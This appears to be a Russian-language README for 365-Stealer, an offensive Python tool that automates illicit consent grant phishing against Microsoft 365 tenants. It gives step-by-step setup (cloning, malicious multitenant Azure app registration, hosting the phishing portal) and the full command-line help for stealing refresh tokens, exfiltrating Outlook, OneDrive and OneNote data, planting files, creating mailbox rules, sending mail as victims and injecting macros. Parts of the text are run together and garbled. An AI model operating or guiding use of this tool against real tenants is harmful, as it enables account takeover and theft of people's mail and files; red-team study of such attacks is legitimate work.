
Автоматизирует атаки с незаконным предоставлением согласия (Illicit Consent Grant) на арендаторов Azure/O365 для кражи токенов обновления, эксфильтрации электронной почты/данных OneDrive и создания вредоносных правил Outlook через CLI и веб-портал управления.
365-Stealer — это инструмент на Python3, предназначенный для автоматизации атак с нелегитимным предоставлением согласия (illicit consent grant). Когда целевой пользователь, сам того не зная, предоставляет разрешение приложению атакующего, злоумышленник получает доступ к рефреш-токену жертвы. Этот рефреш-токен затем можно использовать для генерации других токенов, что позволяет атакующему получать доступ к конфиденциальным данным, таким как электронные письма, файлы в OneDrive и заметки, без необходимости дальнейшего взаимодействия с жертвой. Ручная эксплуатация этой уязвимости может быть трудоёмкой, но 365-Stealer упрощает и автоматизирует процесс.
Атака с нелегитимным предоставлением согласия (illicit consent grant attack) происходит, когда злоумышленник регистрирует вредоносное приложение в Azure, запрашивая доступ к конфиденциальным данным, таким как контакты, электронные письма или документы. Злоумышленник обманом заставляет пользователя дать согласие на приложение, обычно выдавая его за легитимное. Как только жертва нажимает «Принять», она неосознанно предоставляет доступ злоумышленнику, позволяя ему действовать от имени жертвы без необходимости использования её учётных данных организации.
Чтобы объяснить более ясно: после того как пользователь предоставляет разрешение, Entra ID отправляет токен на сервер злоумышленника. Этот токен даёт атакующему возможность читать электронные письма, отправлять письма, получать доступ к файлам в OneDrive и выполнять другие вредоносные действия, используя учётные данные жертвы. В отличие от фишинговых атак, основанных на краже паролей, атаки с нелегитимным предоставлением согласия полностью обходят аутентификацию, злоупотребляя системой разрешений облачных приложений.
--run-app в терминале или через портал управления 365-Stealer.--no-stealing инструмент может украсть только токены без дальнейших действий, что позволяет атакующему использовать их позже.Чтобы автоматически зарегистрировать приложение в Azure с помощью предоставленного скрипта Python, выполните следующие шаги:
Убедитесь, что на вашем компьютере установлен Python3.
Клонируйте репозиторий 365-Stealer:
git clone https://github.com/AlteredSecurity/365-Stealer.git
cd 365-Stealer
Установите необходимые модули Python:
pip install -r requirements.txt
Запустите скрипт автоматической регистрации приложения в Azure:
python 365-Stealer.py --app-registration
Если вы предпочитаете зарегистрировать приложение в Azure вручную, выполните следующие шаги:
https://portal.azure.com и войдите в свою учётную запись.App registrations в левом меню.New registration, чтобы начать процесс регистрации нового приложения.Accounts in any organizational directory (Any Microsoft Entra ID tenant - Multitenant).https://<DOMAIN/IP>:<PORT>/login/authorized, где ваш домен или IP-адрес соответствует тому месту, где вы будете размещать приложение 365-Stealer.Register, чтобы создать приложение.
Certificates & secrets вашего зарегистрированного приложения.New client secret, укажите описание для секрета, а затем нажмите «Добавить».
API permissions в вашем приложении.Add a permission, чтобы начать выбор необходимых разрешений.Microsoft Graph.Delegated permissions, чтобы назначить разрешения, которые будут действовать от имени вошедшего пользователя.
Клонируйте репозиторий 365-Stealer:
git clone https://github.com/AlteredSecurity/365-Stealer.git
Установите необходимые приложения:
Извлеките и сохраните файлы:
C:\xampp\htdocs\, что позволит вам разместить PHP-приложение и запускать Python.Установите зависимости Python: Выполните следующую команду для установки необходимых библиотек Python.
cd C:\xampp\htdocs\365-Stealer
pip install -r requirements.txt
Выполните дополнительные инструкции по настройке: После установки необходимых приложений и зависимостей обязательно следуйте инструкциям, приведённым в файле yoursVictims/Readme.md. Это поможет вам настроить необходимые базы данных и таблицы для корректной работы 365-Stealer.
Настройте пути к скриптам:
365-Stealer.py, базе данных и python3 в файле index.php, расположенном в C:/xampp/htdocs/yourvictims/.
Обработка пробелов в путях к файлам:
"C:/Program Files/Python/python.exe"
Белый список по умолчанию:
Добавление удалённых IP-адресов:
Отключение белого списка IP:
$enableIpWhiteList = false; в файле конфигурации.
Ограничение доступа: В целях безопасности всегда ограничивайте доступ к порталу управления 365-Stealer только инфраструктурой, которую вы контролируете.
Избегайте публичного доступа: Никогда не размещайте портал управления 365-Stealer напрямую в Интернете. Убедитесь, что он доступен только через защищённые частные сети, чтобы избежать возможной компрометации.
usage: 365-Stealer.py [-h] [--app-registration] [--set-config] [--get-config] [--code CODE] [--token TOKEN] [--client-id CLIENT_ID]
[--client-secret CLIENT_SECRET] [--refresh-token REFRESH_TOKEN] [--token-path TOKEN_PATH]
[--refresh-all] [--refresh-user REFRESH_USER] [--redirect-url REDIRECT_URL]
[--database-path DATABASE_PATH] [--no-stealing] [--upload UPLOAD] [--create-rules CREATE_RULES]
[--send-mail SEND_MAIL] [--delete-all-data] [--delete-user-data DELETE_USER_DATA] [--run-app]
[--no-ssl] [--port PORT] [--disable-logs]
[--injection]
[--custom-steal {listusers,checklicence,outlook,onedrive,onenote} [{listusers,checklicence,outlook,onedrive,onenote} ...]]
[--delay DELAY]
optional arguments:
-h, --help show this help message and exit
--app-registration Azure App Registration
--set-config Set 365-Stealer Configuration
--get-config Get 365-Stealer Configuration
--code CODE Provide Authorization Code
--token TOKEN Provide Access Token
--client-id CLIENT_ID
Provide Application Client ID
--client-secret CLIENT_SECRET
Provide Application Client Secret
--refresh-token REFRESH_TOKEN
Provide Refresh Token
--token-path TOKEN_PATH
Provide Access Token file path
--refresh-all Steal all user's data again.
--refresh-user REFRESH_USER
Steal particular user's data again.(Provide EmailID)
--redirect-url REDIRECT_URL
Redirect Url
--database-path DATABASE_PATH
Provide Database Path
--no-stealing Steal only Tokens
--upload UPLOAD Add files in victim's OneDrive(Provide File Path)
--create-rules CREATE_RULES
Provide json file containing outlook rules
--send-mail SEND_MAIL
Provide json file to send email
--delete-all-data Delete all data from the database!
--delete-user-data DELETE_USER_DATA
Delete specific user data from the database!
--run-app Host the Phising App
--no-ssl Use http(port 80)
--port PORT Provide custom port to Host the Phishing App
--disable-logs Disable all http access logs
--custom-steal {listusers,checklicence,outlook,onedrive,onenote} [{listusers,checklicence,outlook,onedrive,onenote} ...]
Steal specific data
--injection Enable Macro Injection
--delay DELAY Delay the request by specifying time in seconds while stealing
Запись в блоге для новой версии 365-Stealer, которая представляет собой полную переработку старой. В этом посте исследуется, как работает атака с нелегитимным предоставлением согласия (ICG) в Microsoft 365.
Старая запись в блоге - Introduction to 365-Stealer
Пожалуйста, создайте issue, если вы обнаружили ошибку или хотите предложить новую функцию.
Если вы хотите внести вклад в проект и сделать его лучше, ваша помощь приветствуется.
--refresh-token--client-id--client-secret--app-registration автоматизирует процесс регистрации приложения в Azure, упрощая настройку инфраструктуры атаки без ручного вмешательства.--custom-steal атакующие могут выборочно красть данные из конкретных источников, таких как OneDrive, Outlook и т.д.